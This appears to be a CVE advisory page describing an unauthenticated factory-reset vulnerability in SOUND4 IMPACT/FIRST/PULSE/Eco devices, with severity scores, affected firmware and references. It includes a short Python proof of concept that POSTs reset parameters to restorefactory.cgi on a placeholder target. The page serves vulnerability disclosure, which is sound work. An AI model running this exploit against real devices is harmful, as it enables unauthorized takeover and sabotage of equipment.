CVE-2023-53964

Description

SOUND4 IMPACT/FIRST/PULSE/Eco v2.x contains an unauthenticated vulnerability in the /usr/cgi-bin/restorefactory.cgi endpoint that allows remote attackers to reset device configuration. Attackers can send a POST request to the endpoint with specific data to trigger a factory reset and bypass authentication, gaining full system control.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:sound4:impact_firmware:2.15:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:sound4:impact:2.0:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:sound4:impact_firmware:1.69:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:sound4:impact:1.0:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:sound4:pulse_firmware:2.15:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:sound4:pulse:2.0:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:sound4:pulse_firmware:1.69:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:sound4:pulse:1.0:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:sound4:first_firmware:2.15:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:h:sound4:first:2.0:*:*:*:*:*:*:* - NOT VULNERABLE

SOUND4 IMPACT v2.x

SOUND4 FIRST v2.x

SOUND4 PULSE v2.x

SOUND4 Eco v2.x

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target = 'http://target-device-ip'
endpoint = '/usr/cgi-bin/restorefactory.cgi'
url = f'{target}{endpoint}'

payload = {
    'action': 'reset',
    'confirm': 'yes'
}

response = requests.post(url, data=payload)
print(f'Status Code: {response.status_code}')
print(f'Response: {response.text}')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-53964
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-53964
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-53964/
[4] VulDB https://vuldb.com/cve/CVE-2023-53964
[5] https://web.archive.org/web/20221207074555/https://www.sound4.com/
[6] https://www.exploit-db.com/exploits/51174
[7] https://www.vulncheck.com/advisories/sound-impactfirstpulseeco-x-unauthenticated-factory-reset-vulnerability
[8] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5742.php
[9] https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5742.php

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